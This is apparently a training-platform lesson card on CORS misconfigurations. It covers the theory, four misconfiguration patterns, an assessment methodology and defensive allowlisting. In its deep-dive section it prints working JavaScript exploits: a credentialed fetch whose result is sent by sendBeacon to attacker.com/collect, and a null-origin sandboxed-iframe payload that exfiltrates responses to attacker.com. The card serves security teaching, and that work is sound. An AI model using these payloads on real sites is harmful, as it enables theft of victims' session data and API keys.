Browse CTFs New CTF Sign in

CORS misconfiguration

web_auth_sessions Difficulté 1–5 30 min certifiable

Théorie

Why This Matters

In 2018, security researcher James Kettle published a large-scale study demonstrating that a significant proportion of surveyed websites had exploitable CORS misconfigurations. The findings included major financial institutions and e-commerce platforms whose APIs reflected arbitrary Origin headers and combined Access-Control-Allow-Credentials: true with overly permissive Access-Control-Allow-Origin responses. Real-world exploitation of CORS misconfigurations has resulted in account takeover at scale — attackers serve malicious pages that silently issue credentialed cross-origin requests to banking APIs and exfiltrate session-bound data. OWASP API Security Top 10 (2023) lists Broken Object Level Authorization and Security Misconfiguration as leading risks, and CORS errors fall squarely in the latter category.

Core Concept

CORS (Cross-Origin Resource Sharing) is the W3C mechanism that selectively relaxes the Same-Origin Policy (SOP), which otherwise prevents scripts on https://attacker.com from reading responses from https://victim.com. A server opts in to cross-origin reads by returning specific response headers. The critical headers are Access-Control-Allow-Origin (ACAO), Access-Control-Allow-Credentials (ACAC), Access-Control-Allow-Methods, and Access-Control-Allow-Headers.

The violated invariant is the assumption that reflecting the Origin header value back in ACAO is safe. When a server sets Access-Control-Allow-Credentials: true alongside a dynamically reflected origin, the browser will attach cookies and HTTP auth tokens to the cross-origin request and then expose the full response body to the attacking script. The browser enforces SOP, but if the server instructs the browser to relax it for any origin, the browser complies.

Four common misconfiguration patterns exist. First, ACAO: * with ACAC: true — the spec actually forbids this combination, but some older server implementations honour it anyway and browsers differ in enforcement. Second, origin reflection — the server copies whatever value the client sends in the Origin header directly into the response ACAO header. Third, weak regex validation — a server intends to allow only https://app.victim.com but its regex matches https://evilapp.victim.com or https://attacker.victim.com.evil.com. Fourth, the null origin trick — some servers whitelist the literal string null, which browsers send for sandboxed iframes, allowing an attacker to load their payload inside <iframe sandbox="allow-scripts">.

Technical Deep-Dive

-- Step 1: Probe — send a crafted Origin and observe reflection
GET /api/v1/account/profile HTTP/1.1
Host: victim.com
Cookie: session=abc123
Origin: https://attacker.com

-- Step 2: Server reflects origin (vulnerable response)
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"username":"alice","email":"[email protected]","api_key":"sk-REDACTED"}
// Attacker-controlled page at https://attacker.com/steal.html
// Exploits credential-bearing CORS misconfiguration to exfiltrate JSON

fetch('https://victim.com/api/v1/account/profile', {
  credentials: 'include'   // browser attaches victim's cookies
})
.then(r => r.json())
.then(data => {
  // Exfiltrate to attacker-controlled endpoint
  navigator.sendBeacon(
    'https://attacker.com/collect',
    JSON.stringify(data)
  );
});
// Null-origin trick via sandboxed iframe
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-same-origin';
frame.srcdoc = `<script>
  fetch('https://victim.com/api/internal', {credentials:'include'})
    .then(r=>r.text())
    .then(d=>top.postMessage(d,'*'));
</script>`;
document.body.appendChild(frame);
window.onmessage = e => fetch('https://attacker.com/c?d='+btoa(e.data));

Security Assessment Methodology

  1. Map all API endpoints that return sensitive data. Use Burp Suite passive scanning to identify existing Access-Control-* headers in responses.
  2. Inject a synthetic Origin header (Origin: https://attacker.com) on each interesting endpoint using Burp Repeater. Check whether ACAO reflects the injected value.
  3. Test the null origin — add Origin: null and check for Access-Control-Allow-Origin: null in the response.
  4. Test suffix/prefix regex bypasses — try Origin: https://victim.com.attacker.com, Origin: https://notavictim.com, and Origin: https://xvictim.com to identify overly broad pattern matching.
  5. Verify credential forwarding — confirm Access-Control-Allow-Credentials: true is present; without it, cookies are not forwarded and exploitability is limited to unauthenticated endpoints.
  6. Build a PoC using the JavaScript fetch snippet above, host it on a local server (python3 -m http.server), and confirm the response body is accessible in the browser console.
  7. Use the CORS* extension for Burp or CORSy scanner to automate origin reflection checks across the full site map.

Defensive Countermeasure — Maintain an explicit server-side allowlist of trusted origins (never reflect the Origin header dynamically). Set Access-Control-Allow-Credentials: true only when strictly necessary, and never combine it with a wildcard or reflected origin. Validate the full origin string with exact string comparison, not a substring or regex match, to prevent suffix-bypass attacks.

Common Assessment Errors

  • Concluding ACAO: * is unexploitable — wildcard without ACAC is safe for unauthenticated endpoints, but testers miss that some frameworks still attach cookies when the spec says they should not, particularly in older Chromium builds.
  • Missing pre-flight vs simple request distinction — GET and POST with Content-Type: application/x-www-form-urlencoded are simple requests and never trigger a pre-flight OPTIONS call; testers who only look for OPTIONS may miss that simple GETs are already exploitable.
  • Forgetting the null origin — many write-ups skip null origin testing; it is frequently whitelisted by frameworks that set Origin: null during server-side redirects or file:// loads.
  • Ignoring non-cookie auth — if the API uses Authorization: Bearer headers rather than cookies, credentials: 'include' does not forward the token; the exploit must inject the header explicitly, which requires the token to already be accessible.
  • Only testing the primary domain — wildcard subdomain trust (*.victim.com) is exploitable if the attacker can control any subdomain (e.g., a user-controlled CNAME, an XSS on a marketing subdomain).
  • Not verifying the response body is readable — a reflected ACAO header alone is not proof of exploitability; you must confirm the browser actually exposes response.json() without an opaque response error.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0007 Knowledge of authentication, authorization, and access control methods Explains how CORS extends SOP-based access control and where dynamic origin reflection breaks authentication boundaries
K0065 Knowledge of policy-based controls and rule-based access control Covers how CORS allowlists function as a policy mechanism and how regex/reflection flaws undermine that policy
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Practises systematic CORS probing with Burp Suite, synthetic Origin injection, and PoC construction
T0028 Task: Identify systemic security issues based on the analysis of vulnerability and configuration data Develops the ability to recognise misconfigured CORS policies as a systemic access-control failure across an API surface

Further Reading

  • Exploiting CORS Misconfigurations for Bitcoins and Bounties — James Kettle, PortSwigger Research (2018)
  • OWASP API Security Top 10 — 2023 Edition — OWASP Foundation
  • Cross-Origin Resource Sharing (CORS) — MDN Web Docs, Mozilla
  • The Web Application Hacker's Handbook, 2nd ed. — Stuttard & Pinto, Wiley

Challenge Lab

Renforcez votre apprentissage avec un défi généré basé sur la compétence de cette carte.